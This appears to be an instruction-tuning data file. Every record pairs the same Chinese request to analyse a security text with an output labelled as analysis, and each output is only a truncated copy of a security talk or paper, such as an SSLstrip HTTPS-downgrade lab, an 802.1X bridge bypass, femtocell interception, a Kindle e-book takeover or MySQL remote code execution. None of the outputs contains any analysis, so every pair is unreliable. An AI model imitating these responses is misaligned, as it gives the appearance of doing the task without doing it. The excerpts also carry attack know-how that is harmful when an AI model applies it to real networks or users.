Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SSLstrip – hijacking SSH Sessions
Bowne
Page 1 of 5
What You Need for This Project
 A computer running Linux to be the Attacker (I wrote the instructions on a Ubuntu 8.04 virtual
machine).
 A second computer running any OS to be the Target.  I used my Windows 7 host machine as the
target.
Goal
The Attacker will serve as a proxy, converting secure HTTPS sessions to insecure HTTP ones.  This
will not be obvious to the user.
Starting the Target Machine
1.
Start your Target machine.
2.
Open a browser on your Target machine and make sure you can connect to the Internet.
Opening Facebook on the Target Machine
3.
On your Target machine, in Firefox, go to facebook.com.  Notice that this page is not
secure—the URL starts with http instead of https, as shown below on this page.
4.
On your Target machine, in Firefox, click View, "Page Source".  In the "Source of
http://www.facebook.com" window, click Edit, Find.  In the Find: box at the bottom of the
window, type login and click the Next button.
5.
You can see the form statement for the login form.  This shows that although the page is not
secure, the actual login method uses a URL starting with https.  Many Websites use this
system: a single page has both secure and insecure items.  That is the vulnerability we will
exploit.
SSLstrip – hijacking SSH Sessions
Bowne
Page 2 of 5
Starting the Attacker Machine
6.
Start an Ubuntu 8.04 virtual machine.  That will be your Attacker machine.
7.
Open a browser on your Attacker machine and make sure you can connect to the Internet.
Downloading SSLstrip
8.
On the Attacker Linux machine, open Firefox and go to this URL:
thoughtcrime.org
9.
Click Software.  On the next page, click sslstrip.  In the Download section, Click sslstrip.  At
the time I wrote this (Mar. 4, 2009), it was at version 0.2.
10.
Save the file on your desktop.
11.
On your desktop, right-click the sslstrip-0.2.tar.gz file and click "Extract Here".
12.
On your deskt...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Revolting Radios
Get it? It’s a pun!
Thanks
Mike Walters
Ang Cui
Schuyler St. Leger
Taylor Streetman
Sergey Bratus
Travis Goodspeed
A little background
“One of the things that makes Orwell's '1984' scary is the way it uses technology.
In Orwell’s dystopia, tech is a one-sided means of control. The powers that be
use machines for pervasive surveillance, to weaken your sense of self and to
make real change feel impossible. Humans deprived of any private space are
uniquely vulnerable, and Big Brother knows it.”
                                                                                - DEF CON 26 theme
“Let’s over-commit to that theme.”
                                                    - Mike & Dominic
Who are we?
Michael Ossmann
Founder and CEO of Great Scott Gadgets
Dominic Spill
Security Researcher at Great Scott Gadgets
Breadboard SDR
Scenario
We’ve found that we can reprogram one of Big Brother’s telescreens and stream
samples from the auxiliary Analog to Digital Converter (ADC) in its
microcontroller.
Can we build a radio receiver out of this microcontroller?
Breadboard SDR
When you build a radio
in software, you don’t
need much hardware
Clock Signal Transmitters
Scenario
We need to exfiltrate data from one of Big Brother’s air-gapped networks.
We have an ally but no radio transmitter inside.
Can our ally reprogram a microcontroller on the inside to transmit data over the
air?
Toggling IO Pins
Miek’s OOK transmitter
https://gfycat.com/gifs/detail/cloudyinfamouscapybara
Ang Cui’s Funtenna
http://www.funtenna.org/CuiBH2015.pdf
Raspberry Pi FM
https://github.com/PNPtutorials/FM_Transmitter_RPi3
GreatFET One PLL Transmitter
Real World Radios
Our demonstration target used a frequency deviation of +/-25 kHz and a center
frequency of 315.005 MHz.
We transmitted with a frequency deviation of +/-50 kHz at a center frequency of
315.050 MHz, and it worked!
If it oscillates like a radio
and emits like a radio
It’s a radio
GPIO Pin Receiver
Scenario
Big B...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

A Bridge Too Far
Defeating Wired 802.1X with a
Transparent Bridge Using Linux
Alva Lease ‘Skip’ Duckwall IV
Exorcyst at gmail d0t com
Who Is This Guy?
• Been working with Linux since before the 1.0
kernel (1993ish)
• Unix admin by trade – transitioned to IT security
• Likes alphabet soup:
– CISSP, CISA, GCIH, GCIA, GCFW, GPEN, GWAPT
– GCUX, GSEC, GCFA, RHCE, SCSA (missing 12 letters)
– Sitting for the GSE written in the middle of August
• Works for Northrop Grumman on a team that
performs full scope penetration tests ☺
THE BASICS
The Objective
To introduce a device on a wired 802.1X secured
network with the following properties:
1. Transparent (undetectable) to the network
administrators
2. Remote communication and interaction
3. The ability to inject traffic on to the network
What We Need
• Linux Box with 2 network ports
• Extra Ethernet Cable
• A Workstation authenticating to the local
network using wired 802.1X of some sort
• Another box that we use to handle the
callbacks
A laptop/Netbook with an additional
USB network device running Linux
– Obviously Difficult to Hide
– Powerful x86 CPU/memory/HD
– Best used for in person demos ☺
Small x86 Computer (industrial/mini pc)
– Atom CPU (x86) with 1-2gb memory
– Storage via laptop HD or flash
– Fanless in many cases
– Built in Dual Gig Ethernet in some
– 4”x4.5”x1” approximately
Plug Computer
• Embedded Marvell CPU (ARM) running Linux
• 512mb ram/512mb internal flash
• Can use SD cards for storage / Boot
• Fanless
• Built in Ethernet/USB port
• Looks like a weird “wall wart”
Choice of Linux Distro
• Backtrack 4r2 for x86 CPUs
– Quiet by default (no services start by default, no
network by default, etc)
– Well tested and used
– Lots of built-in toys
– Yes, I know 5 is out.  Already had it working with 4.
• Ubuntu 9.04 for my plug computer
– Newer versions of the hardware might not support it
– Moving forward will probably switch to Debian or roll
my own distribution
Quick Review: Ethernet Frame
For TCP/IP (w...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Unboxing Android
Everything you wanted to know about Android packers
Slava Makkaveev
Avi Bashan
Who Are We?
@Avi
R&D Team Leader at Check Point, former security
researcher at Lacoon Mobile Security.
Experienced in OS Internal research, mobile security, linux
kernel.
@Slava
Senior Security Researcher at Check Point, former Security
Researcher at Verint.
Vast experience in mobile OS research and linux internals.
“Boxing” Apps
●
Malware authors use various “boxing” techniques to prevent
○
Static Code Analysis
○
Reverse Engineering
●
This can be done by proprietary techniques or 3rd party software
●
This Includes
○
Code Obfuscation
○
Anti Debugging
○
Anti Tampering
○
Anti Dumper
○
Anti Decompiler
○
Anti Runtime Injection
Maliciousness of Packed Apps
Analyzed 13,000 Apps (July 2017)
Techniques to protect an app’s
code
● Obfuscators
● Packers
● Protectors
Apk Protection Techniques
● Obfuscators
● Packers
● Protectors
Apk Protection Techniques
pm.getClass().getMethod("getPackageSizeInfo", String.class,
Class.forName("android.content.pm.IPackageStatsObserver")).invoke(pm, packInfo.packageName,
    new IPackageStatsObserver.Stub() {
        public void onGetStatsCompleted(PackageStats pStats, boolean succeeded) {
        }
    });
v6.getClass().getMethod("getPackageSizeInfo", String.class,
Class.forName("android.a.a.a")).invoke(v6, ((PackageInfo)v0_5).packageName,
    new a() {
        public void a(PackageStats arg3, boolean arg4) {
        }
    });
● Obfuscators
● Packers
● Protectors
Apk Protection Techniques
Original
DEX
● Obfuscators
● Packers
● Protectors
Packer
Loader
Encrypted
DEX
APK
APK
Packing
process
Apk Protection Techniques
Packer
Loader
Encrypted
DEX
● Obfuscators
● Packers
● Protectors
Packer
Loader
Original
DEX
APK
APK
Execution
Apk Protection Techniques
● Obfuscators
● Packers
● Protectors
Apk Protection Techniques
● Obfuscators
● Packers
● Protectors
Original
DEX
Encrypted
Modified
DEX
APK
APK
Protection
Process
Protector
Loader
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Katana:
Portable Multi-Boot Security Suite
JP Dunning
DefCon 2010
© Shadow Cave LLC
JP Dunning
Graduate Student:
Computer Science, Virginia Tech
Research Focus:
Wireless and Portable Security
Website:
www.hackfromacave.com
© Shadow Cave LLC
To Many Tools!
● Finding Tools
● Cases of CDs
– Keeping up with disks
● Tools on different devices
● Using different Operating Systems
● Indecent Response
– Need It Now!
© Shadow Cave LLC
Katana
● Run from USB Flash Drive
– No partitioning necessary
● Security Tools:
– Katana Tool Kit: 100s of portable Windows
applications
– Katana Live: A dozen Live Distributions
– Consolidation of tools onto one medium
● User configurable list of security related tools
– Add, Remove, Update
© Shadow Cave LLC
CD vs USB
Attribute
CD/DVD
USB Flash Drive
Write Speed
~ 5 MB/s (32x) / ~ 21
MB/s (16x)
~ 25 MB/s
Read Speed
~ 8 MB/s (52x) / ~
26.5/s (20x)
~ 35 MB/s
Transfer Rate
X * (150kb/s)
~ 60 MB/s
Environment
Static
Dynamic
BIOS Boot
Support
Early 90's
Early 00's
Disk Space
700MB/4.7GB
128 MB–256 GB
Physical Space
~ 12x12x0.1 cm
~ 4x1.5x0.5 cm
Time To Failure
~ 1,000 writes OR 3 – 5
years
~ 10,000 to 100,000 writes
OR 5 to 10 years
Bootable Tools
More
Less
© Shadow Cave LLC
Who Made The Cut?
● Security related
● Free (at least for personal use)
● Unique contribution
● Currently supported
© Shadow Cave LLC
Katana Live
© Shadow Cave LLC
Katana Included Distros
● Backtrack
● Ultimate Boot CD
● UBCD4Win
● Ophcrack
● Puppy
● CAINE
● CloneZilla
● Trinity Rescue Kit
● Derik's Boot and
Nuke
● Kon-Boot
© Shadow Cave LLC
Getting the Darn Thing to Work
● Boot loader syslinux
– USB bootloader
● Binary Configuration file editing
– Initd file
● Clean Up
– Minimizing the mess of folders and files
© Shadow Cave LLC
Add Your Own Distros
● Each distro requires different modifications
– Often change to init file
– Modify cfg menu file
– Change file/directory names and structures
© Shadow Cave LLC
Example: Adding Samurai 0.8
1) Download Samurai from:
samura...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Unintended Consequences:
Four Years under the DMCA
1. Executive Summary
Since they were enacted in 1998, the “anti-
circumvention” provisions of the Digital Millennium
Copyright Act (“DMCA”), codified in section 1201 of
the Copyright Act, have not been used as Congress
envisioned. Congress meant to stop copyright pirates
from defeating anti-piracy protections added to
copyrighted works, and to ban “black box” devices
intended for that purpose.1
In practice, the anti-circumvention provisions have
been used to stifle a wide array of legitimate activities,
rather than to stop copyright piracy. As a result, the
DMCA has developed into a serious threat to three
important public policy priorities:
Section 1201 Chills Free Expression and
Scientific Research.
Experience with section 1201 demonstrates
that it is being used to stifle free speech and
scientific research. The lawsuit against 2600
magazine, threats against Princeton Professor
Edward Felten’s team of researchers, and
prosecution of Russian programmer Dmitry
Sklyarov have chilled the legitimate activities
of journalists, publishers, scientists, students,
programmers, and members of the public.
Section 1201 Jeopardizes Fair Use.
By banning all acts of circumvention, and all
technologies and tools that can be used for
circumvention,
section
1201
grants
to
copyright owners the power to unilaterally
eliminate the public’s fair use rights. Already,
the music industry has begun deploying
“copy-protected CDs” that promise to curtail
consumers’
ability
to
make
legitimate,
personal copies of music they have purchased.
Section 1201 Impedes Competition and
Innovation.
Rather than focusing on pirates, many
copyright owners have chosen to use the
DMCA to hinder their legitimate competitors.
For example, Sony has invoked section 1201
to protect their monopoly on Playstation
video game consoles, as well as their
“regionalization” system limiting users in one
country from...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ElcomSoft.com
ElcomSoft.com
© 2017
Vladimir Katalov
ElcomSoft Co.Ltd.
Moscow, Russia
Breaking)into)the)iCloud)Keychain
ElcomSoft.com
Page 2
[Some)of])our)customers
ElcomSoft.com
Page 3
What)do)we)want)to)hack)today?
1.All)user’s)passwords
2.Credit)card)data
ElcomSoft.com
Page 4
What’s)inside)the)smartphone?
(tip:&almost&everything)
• Contacts)&)calendars
• Call)logs)and)text)messages)
• Emails)and)chats
• Account'and'application'passwords
• Web'and'Wi-Fi'passwords
• Credit'card'data
• Documents,)settings)and)databases
• Web)history)&)searches
• Pictures)and)videos
• Geolocation)history,)routes)and)places
• 3rd party)app)data
• Cached)internet)data
• System)and)application)logs
• Social)network)activities
ElcomSoft.com
§
Problems
§
Different&platforms&(Apple,&Google,&Microsoft)
§
Many&vendor-specific&clouds
§
3rd party&cloud&services
§
Credentials&needed&(password&or&token)
§
Profits
§
No&physical&access&needed
§
May&be&performed&silently
§
Backup
§
No)standard)way)to)get
§
Might)not)be)available
§
Almost)all)data)from)device
§
Sync
§
Limited)set)of)data
§
Most)critical)real-time)data
§
Synced)across)all)devices
§
Storage
§
Only)files/documents
§
Easy)to)access
Page 5
Data)acqusition methods)|)Cloud)acquisition)pros)and)cons
§
JTAG/chip-off
§
No)test)access)port)on)many)devices
§
Full)disk)encryption
§
Physical
§
Limited)compatibility
§
Data)may)be)encrypted
§
Logical
§
Limited)compatibility
§
Bypassing)screen)lock)is)needed
§
Cloud
§
Limited)set)of)data)// oh,$really?$J
§
Need)credentials
§
Legal)problems
ElcomSoft.com
§ Full)device)backups)are)sometimes)available
§ 3rd party)application)data)is)usually)not)available
§ Passwords)are)additionally)encrypted)with)hardware-specific key
§ Daily)backups)(in)best)case,)until)forced)from)the)device)
§ Backups)cannot)be)forced)remotely
§ 3rd party)software)is)needed
§ Almost)no)way)to)manage
§ Slow)access,)long)download
§ Account)might)be)locked)due)to)‘suspicious)activity’
Page 6
Cloud)services:)backups)[iCloud]
ElcomSoft.c...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Multipot: A More Potent Variant of Evil Twin
K. N. Gopinath
Senior Wireless Security Researcher and Senior Engineering Manager
AirTight Networks
This presentation pertains to a discovery of a more potent variant of Evil Twin. We call it
‘Multipot’. What is unique about Multipot is that the prevalent defenses against Evil
Twin, in particular deauth based session containment, are totally ineffective against the
Multipot. Multipot threat can occur naturally in enterprise and campus network
environments or it can be presented by attacker with deliberate malicious intent. A
demonstration of Multipot threat will be provided at the end of the presentation. Multipot
provides a glimpse into complexities of evolving wireless vulnerabilities and their
countermeasures [1,2].
Multipot: What It Is and How It Works
Multipot is a newly discovered threat scenario consisting of multiple APs which are
configured with the same SSID and lure WiFi clients into connecting to them. The term
Multipot is derived from “multiple” and “honeypot”.
Multipot can occur naturally in the form of multiple Municipal APs or Metro APs around
the victim client, all of which are naturally configured for the same SSID (e.g.,
GoogleWiFi). A client which has such an SSID in its WiFi profile can connect to such a
Multipot. Another example of naturally occurring Multipot is multiple APs in the
neighbor’s corporate network around the victim client, which again are naturally
configured with the same SSID. Neighboring networks which are open (i.e., do not use
cryptographic security) and/or use manufacturer default SSIDs are good candidates for
this type of Multipot. Wireless connections of corporate or campus clients to such
naturally occurring Multipots can lead to non-policy compliant communication.
There can also be a handcrafted or malicious version of Multipot where an attacker can
combine it with known Evil Twin attack tools (see references 3 to 8). Each of these APs
in a handcraf...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Debugging and Reversing ALPC
Contents:
Introduction & Disclaimer
Environment Preparation
Getting Off The Ground
From User to Kernel Land
Hunting An ALPC Object
Introduction & Disclaimer
This post is an addendum to my journey to discover and verify the internals of ALPC, which I’ve
documented in Offensive Windows IPC Internals 3: ALPC. While preparing this blog I figured a
second post, explaining the debugging steps I took to verify and discover ALPC behaviour, could
be useful to all of us that are beginners in the field of reverse engineering and/or debugging.
While I’ve certainly used the techniques and methods shown in this post below, these where not
my only resources and tools to dive into ALPC. Even implying this would undermine the important
and major work of other researchers that have documented and reversed ALPC internals in the
past, like Alex Ionescu and many others. Hence this disclaimer.
TL;DR: The techniques below are practical and useful, but I was only able to apply them due to the
work of others.
Another important disclaimer is: I am - by no means - an experienced reverse engineer and this
blog post is not meant to be an introduction into ‘how to become a reverse engineer’ or show a
smart way to get in this field. This is a ‘use Windows debugging to stumble into a topic and
make your way to look around’ post.
Environment Preparation
In order to follow the steps shown below you want to set up a kernel debugging environment. If
you already have a kernel debugging environment set up, feel free to skip to section Getting Off
The Ground. If you don’t, you’ve got two basic choices for this setup:
Local live kernel debugging
Remote kernel debugging
Although the local kernel debugging option only requires a single test machine (virtual VM) and
only a single command and a reboot to set you up, I nevertheless recommend starting two
machines (VMs) and set up for remote debugging. The reason for this is that local live kernel
debugging comes with...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

從初出茅廬到破解大師
我的 14 年駭客生涯回顧
Orange Tsai
Orange Tsai
• Principal security researcher at
and captain of
HITCON CTF team, focusing on Web/App 0-day research
• Speaker of top hacker conferences:
Black Hat USA, DEFCON, HITB, HITCON
• 2019 Pwnie Awards, "Best Server-Side Bug"
winner
• 2021 Pwn2Own champion
幼年期
成熟期
完全體
成長期
究極體
幼年期 (2002 ~ 2007)
1. 如何開始接觸電腦?
2. 如何開始接觸駭客?
• 天才駭客新聞... 帥爆了
"最佳解答" 還是錯的...
幼年期 (2002 ~ 2007)
1. 如何開始接觸電腦?
2. 如何開始接觸駭客?
• 天才駭客新聞... 帥爆了
成長期 (2007 ~ 2009)
• Re: 從零開始的駭客生活
1.
開放世界的遊戲探索
2. 從獨自學習到走入團體 - NISRA
3. 廢寢忘食只為了求解答 - Hacker Challenge
成長期 (2007 ~ 2009)
• Re: 從零開始的駭客生活
1. 開放世界的遊戲探索
2. 從獨自學習到走入團體 - NISRA
3. 廢寢忘食只為了求解答 - Hacker Challenge
成長期 (2007 ~ 2009)
• Re: 從零開始的駭客生活
1. 開放世界的遊戲探索
2. 從獨自學習到走入團體 - NISRA
3. 廢寢忘食只為了求解答 - Hacker Challenge
把公式整頁抄下來跑去問數學老師...
駭客年會:
第一次有高中生得到名次!?
!∑(ﾟДﾟノ) 第一次有高中生拿到冠軍!?
成熟期 (2009 ~ 2013)
• 如何獲得更多的認同感?
• 外在認同感: 刻意訓練演講能力
•
整理過的資料才是資訊
•
有辦法解釋的才是知識
• 自我認同感: 「我好像有點強」好奇自己的極限在哪裡?
•
挑戰還有哪裡我進不去?
• 「出事了阿伯」
PHP CONF 2013 - 矛盾大對決
能入侵任何網站的駭客 vs. 絕對不會被入侵的網站
成熟期 (2009 ~ 2013)
• 如何獲得更多的認同感?
• 外在認同感: 刻意訓練演講能力
•
整理過的資料才是資訊
•
有辦法解釋的才是知識
• 自我認同感:「我好像有點強」好奇自己的極限在哪裡?
•
挑戰還有哪裡我進不去
• 「出事了阿伯」
完全體 (2014 ~ 2018)
• 對於駭客技術的追求要往哪發洩? ...CTF!
• 技術愛好者的天堂
• 追逐成就感
• 「承認永遠有比你天才的人...」
完全體 (2014 ~ 2018)
• 對於駭客技術的追求要往哪發洩? ...CTF!
• 技術愛好者的天堂
• 追逐成就感
• 「承認永遠有比你天才的人...」
Dead End on Web Part
- 余弦 (EvilCos)
「哪怕再小, 也要讓自己成為某一點的 No.1」
究極體 (2017 ~ Now)
• 眼界放大到世界莫名產生的使命感
• 站上世界、讓世界看到台灣!
• 有哪些人才是我能幫忙的?
• 年年都要超越去年的自己，陷入為了找漏洞而找的泥沼
• 別人(花時間)也能找到的漏洞真的是我的目標嗎?
• 當工具人花時間幫廠商做 QA 不覺得很無聊嗎?
• 用既有招式找漏洞 vs. 創造一整個新的流派
究極體 (2017 ~ Now)
• 眼界放大到世界莫名產生的使命感
• 站上世界、讓世界看到台灣!
• 有哪些人才是我能幫忙的?
• 年年都要超越去年的自己，陷入為了找漏洞而找的泥沼
• 別人(花時間)也能找到的漏洞真的是我的目標嗎?
• 當工具人花時間幫廠商做 QA 不覺得很無聊嗎?
• 用既有招式找漏洞 vs. 創造一整個新的流派
「你會不會有一天不做資安？」
當你的動機只是因為有趣，出現更有趣的東西時馬上就被吸引走
我則是來自於不同階段目標的累加，怎麼覺得我會放棄資安？
Dead End on Web Part
- ?????
「駭客是終生職」
結語
• 變強公式:
1.
找到動機
2.
刻意挑戰 N+1
3.
解決: 獲得樂趣與成就感
4.
失敗: 檢討問題、反思下一次如何避免失誤
• 推薦閱讀系列文:
• (知乎 ZhiHu) 懶人在思考
by @Evilcos (余弦)
• (CoderBridge) 成為專家之路
by @Po-Jen
• (Mediu...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Traffic Interception & Remote Mobile Phone
Cloning with a Compromised CDMA Femtocell
Doug DePerry
Tom Ritter
Andrew Rahimi
iSEC Partners
• The specific method used to access the device that
makes the demonstration possible has been resolved by
Verizon Wireless through a security patch.
• The Network Extenders being used to conduct the
demonstration do not have the security patch installed.
• Verizon Wireless gave iSEC permission to use the
network extenders to conduct the demonstration in
consideration of iSEC bringing the issue to the attention
of Verizon Wireless.
2
• This is not like joining an open WiFi network
• Your phone associates automatically  with no*
indication
• You might be on ours right now. 
• We don’t hack phones… at least not today
No User Interaction
3
Full Disclosure
• Disclosed vulnerabilities to the carrier early December
• They worked extremely hard, over Christmas, to prepare
a patch
• All vulnerabilities disclosed in this presentation have
been patched
• We do have architectural concerns around femtocells
• Concerns shared by…
4
Prior Art
• BH 2011 “Femtocells: a Poisonous Needle in the
Operator's Hay Stack”
• SFR Femtocell (2nd biggest operator in France)
• THC: Vodafone (2010/2011)
• RSAXVC & Doug Kelly (Bsides KC 2011)
• Rooting
• Cable construction
• “Do It Yourself Cellular IDS”
• Black Hat 2013
5
• North American Carrier
• 3G
• CDMA
• Customers affected
• Roughly 1/3 of the population of the US
• Phone Calls & SMS
• MMS, Data Man-In-The-Middling, SSL Stripping
• Cloning
Our Focus
6
Rooting
Exploring
• Filesystem
• Traffic
Exploiting
• Voice, SMS, Data
Cloning
Fixing
Agenda
7
General Architecture
We Are Here! 
8
Rooting the Femtocell(s)
SCS-26UC4
(Older)
SCS-2U01
(Newer)
9
Rooting the Femtocell(s)
SCS-26UC4
(Older)
SCS-2U01
(Newer)
Bonus!
10
• Faraday FA626TE ARM v5TE processor
• on Samsung UCMB board
• OneNAND flash memory
• Lattice FPGA
• Presumabl...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

 0xcsandker
 csandker
 RSS Feed
//Posts
//History of Windows
//Archive
//Tags & Search
//ME
 Switch Theme
Debugging and Reversing ALPC
29 May 2022
>> Introduction & Disclaimer
>> Environment Preparation
>> Getting Off The Ground
>> From User to Kernel Land
>> Hunting An ALPC Object
This post is an addendum to my journey to discover and verify the internals of ALPC,
which I’ve documented in Offensive Windows IPC Internals 3: ALPC. While preparing
this blog I gured a second post, explaining the debugging steps I took to verify and
discover ALPC behaviour, could be useful to all of us that are beginners in the eld
of reverse engineering and/or debugging.
Contents:
Introduction & Disclaimer
While I’ve certainly used the techniques and methods shown in this post below,
these where not my only resources and tools to dive into ALPC. Even implying this
would undermine the important and major work of other researchers that have
documented and reversed ALPC internals in the past, like Alex Ionescu and many
others. Hence this disclaimer.
TL;DR: The techniques below are practical and useful, but I was only able to apply
them due to the work of others.
Another important disclaimer is: I am - by no means - an experienced reverse
engineer and this blog post is not meant to be an introduction into ‘how to become
a reverse engineer’ or show a smart way to get in this eld. This is a ‘use Windows
debugging to stumble into a topic and make your way to look around’ post.
In order to follow the steps shown below you want to set up a kernel debugging
environment. If you already have a kernel debugging environment set up, feel free
to skip to section Getting Off The Ground. If you don’t, you’ve got two basic choices
for this setup:
>> Local live kernel debugging
>> Remote kernel debugging
Although the local kernel debugging option only requires a single test machine
(virtual VM) and only a single command and a reboot to set you up, I nevertheless
recommend starting two machines (VMs) ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

By Lawrence Baldwin & Jaeson Schultz
“Extreme IP Backtracing”
I've been attacked… now what?
The reality is that few attacks are launched directly from an
attacker's system since they know they would be easily
caught using standard backtracing methods.
The Internet is chock full
of insecure systems which
are easily (read already)
compromised, providing a
means for attackers to
perform untraceable,
indirect attacks.
• Reduce the total number of
compromised hosts
• Minimize the amount of time that
any system remains in a
compromised state
The only profound way to improve
overall Internet security is to:
In order to protect ourselves, we need
to ensure that others are protected.
Every time your firewall or intrusion detection system logs
an event, don't assume the source is the actual attacker.
Think of it as a cry for help from a likely victim whose
system has been compromised and is just being controlled by
an attacker.
When we discover that someone
is obviously exposed, we should
let them know and guide them
to the information they need to
get protected.
CNN.com article “Avoiding future denial-of-service attacks”
about the Feb 2000 DDOS attacks on Yahoo, eBay,
Amazon.com and E*Trade
“Authorities pursuing the attackers say
the servers they used belonged to users
that had no idea their resources were
being used to launch attacks.”
Why notify victims?
Recently, myNetWatchman detected an incident in which a host was
infected with the Microsoft SQL Spida Worm.  A backtrace of the
offending IP yielded some interesting results…
% This is the RIPE Whois server.
% The objects are in RPSL format.
% Please visit http://www.ripe.net/rpsl for more information.
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-
services/db/copyright.html
inetnum:      194.190.139.0 - 194.190.139.255
netname:      GAN
descr:        Central Region of GAN RF
country:      RU
admin-c:      AV753-RIPE
tech-c:       AV753-RIPE
status:       ASSIGNED PA
n...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

JUST WHAT THE DOCTOR ORDERED?
SCOTT ERVEN
Founder/President – SecMedic
@scotterven
SHAWN MERDINGER
Healthcare Security Researcher
Founder – MedSec LinkedIn Group
@medseclinkedin
1
Why Research Medical Devices?
• Patient Safety & Quality Patient Care
• To Equip Defenders In Assessing &
Protecting These Life Saving Devices
• Directly Contributes To & Affects Healthcare
Organizations’  Mission  and  Values
2
Disclosure Process Overview
• April 30th – SMB Findings Disclosed To
DHS/ICS-CERT
• May 5th – SMB Detailed Briefing With
DHS/ICS-CERT
• May 20th – Additional Disclosure To
DHS/ICS-CERT for Defibs, Healthcare Orgs
• Ongoing Assistance Provided To Federal
Agencies, Healthcare Organizations and
Manufacturers
3
What Will Be Revealed?
• No Zero Days
• Most Vulnerabilities Not From This Decade
• Threat Modeling – Connecting The Dots
• Medical Device Exposure From Public
Internet
4
Bad News
• The external findings pose a significant risk to
patient safety and medical devices
• We located most of these external risks within
1 hour utilizing only previously disclosed
vulnerabilities and open source
reconnaissance
• These findings provide support that
Healthcare is 10 years behind other
industries in addressing security
5
Good News
• These significant external risks can be
mitigated easily
• The external risks can be identified by an
organization within 1 hour using open source
reconnaissance tools
• The external findings can be remediated with
little to no investment from an organization
6
Review of  Previous Research
• Lab Systems
• Refrigeration Storage
• PACS – Imaging
• MRI/CT
• Implantable Cardiac Defibrillators
• External Cardiac Defibrillators
• Infusion Pumps
• Medical Device Integration
7
Review of Previous Research - Top Risks
• Hard-Coded Privileged Accounts
• Unencrypted Web Applications & Web
Services/Interfaces
• Excessive Services With No Operational Use
Case
• System Updates & Patchin...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Do you like to read? I know how to take
over your Kindle with an e-book
Slava Makkaveev
How popular is Amazon Kindle?
10th Generation
■
Kindle Oasis
■
Kindle Paperwhite
■
Kindle
9th Generation
■
Kindle Oasis
8th Generation
■
Kindle Oasis
■
Kindle
7th Generation
■
Kindle Voyage
■
Kindle Paperwhite
■
Kindle
6th Generation
■
Kindle Paperwhite
The 11th Generation is on the way
5th Generation
■
Kindle Paperwhite
■
Kindle
4th Generation
■
Kindle Touch
■
Kindle
3rd Generation
■
Kindle Keyboard
2nd Generation
■
Kindle DX
■
Kindle
1st Generation
■
Kindle
The easiest way to remotely reach a
Kindle is through an e-book
How to deliver an e-book to my Kindle device?
When you are logged into your Amazon account
■
From your browser (Chrome browser extension)
■
From your desktop (PC application)
■
From your Android device (Android application)
Without authentication
■
Via USB cable
■
From your email (as an attachment) to xxx@kindle.com
●
The ability to spoof was ﬁxed at the end of 2020
●
A veriﬁcation link will be sent to your Amazon account
A phishing campaign is the right way to go
Dozens of free online libraries are open to everyone
■
Kindle Store
■
Project Gutenberg
■
Open Library
■
The Online Books Page
■
The Literature Network
■
Classic Reader
■
Classic Bookshelf
■
Chest of Books
■
Fiction.us
■
PublicLiterature.org
■
Authorama
■
Bibliomania
■
International Children's
Digital Library
...
A malware e-book can be easily uploaded
Inside the Kindle E-reader
How to research a Kindle device?
The ofﬁcial source code consists of third-party open source projects with
small Amazon tweaks
1)
The latest ﬁrmware is available for download
2)
It is possible to Jailbreak
Kindle Touch Architecture
Linux OS
D-Bus
LIPC + app registry
Native apps
(busybox)
JRE
Booklets
Pillow
Java Apps
HTML/Javascript
Webkit
X.org
User Interface
High-level services
Low-level services / system
What Kindle components are
responsible for parsing e-books?
The /usr/bin/scanner service
■
Periodically scans /mnt/u...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
Advanced MySQL Exploitation
Muhaimin Dzulfakar
muhaimindz@gmail.com
2
Contents
1 Abstract............................................................................................................................................3
2  Introduction ....................................................................................................................................3
3  Stacked Query.................................................................................................................................3
4  Attacking MySQL on applications that do support stacked queries...............................................4
5  Attacking MySQL on applications that do not support stacked  queries........................................5
6  Fingerprinting the web server directory.........................................................................................7
6.1  Fingerprint through error message method................................................................................7
6.2  Fingerprint through LOAD_FILE method......................................................................................7
7  Maximum size of arbitrary code allowed........................................................................................7
8  Arbitrary file compression/decompression ....................................................................................8
9  Dealing with columns......................................................................................................................8
10  Remote code execution on LAMP.................................................................................................9
11  Remote code execution on WAMP.............................................................................................10
References ........................................................................................................................................11
3
1 Abstract
This document discusses i...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Abusing
  HTML5
DEF
  CON
  19
Ming
  Chow
Lecturer,
  Department
  of
  Computer
  Science
TuCs
  University
Medford,
  MA
  02155
mchow@cs.tuCs.edu
What
  is
  HTML5?
•  The
  next
  major
  revision
  of
  HTML.
  To
  replace
  XHTML?
  Yes
•  Close
  enough
  to
  a
  full-‐ﬂedged
  development
  environment
•  The
  three
  aspects
  of
  HTML5:
–  Content
  (HTML)
–  PresentaYon
  of
  content
  (CSS)
–  InteracYon
  with
  content
  (JavaScript)
•  S"ll
  work
  in
  progress
•  Backing
  from
  Google,
  MicrosoC,
  and
  of
  course
  Apple
•  Currently
  supported
  (not
  100%)
  in
  Chrome,
  Firefox
  3.5+,
  Opera,
Internet
  Explorer
  8,
  and
  Safari
•  Many
  incompaYbiliYes
  exist;
  perform
  a
  browser
  test
  via
hdp://www.html5test.com
•  Will
  be
  ﬂexible
  with
  error
  handling
  (i.e.,
  incorrect
  syntax).
  Older
browsers
  will
  safely
  ignore
  the
  new
  HTML5
  syntax.
HTML5:
  What’s
  In?
  What’s
  Out?
•
In:
–  New
  tags,
  including
  <button>,
  <video>,
  <audio>,
  <article>,
  <footer>,
  <nav>
–  New
  adributes
  for
  tags
  such
  as
  autocomplete,
  autofocus,
  pattern
  (yes,
  regex)
  for
input
–  New
  media
  events
–  New
  <canvas>
  tag
  for
  2D
  rendering
–  New
  form
  controls
  for
  date
  and
  Yme
–  GeolocaYon
